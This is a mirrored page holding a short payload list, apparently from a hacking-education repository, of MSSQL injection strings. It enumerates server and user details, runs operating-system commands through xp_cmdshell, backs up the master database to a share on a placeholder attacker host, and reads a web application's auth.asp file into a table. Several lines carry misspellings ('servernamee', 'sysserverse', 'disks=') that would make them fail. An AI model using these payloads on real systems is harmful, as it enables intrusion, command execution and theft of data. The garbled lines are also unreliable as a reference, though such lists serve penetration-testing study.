mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-14 15:27:07 +00:00
12 lines
477 B
Text
12 lines
477 B
Text
|
select @@version
|
||
|
select @@servernamee
|
||
|
select @@microsoftversione
|
||
|
select * from master..sysserverse
|
||
|
select * from sysusers
|
||
|
exec master..xp_cmdshell 'ipconfig+/all'
|
||
|
exec master..xp_cmdshell 'net+view'
|
||
|
exec master..xp_cmdshell 'net+users'
|
||
|
exec master..xp_cmdshell 'ping+<attackerip>'
|
||
|
BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
|
||
|
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
|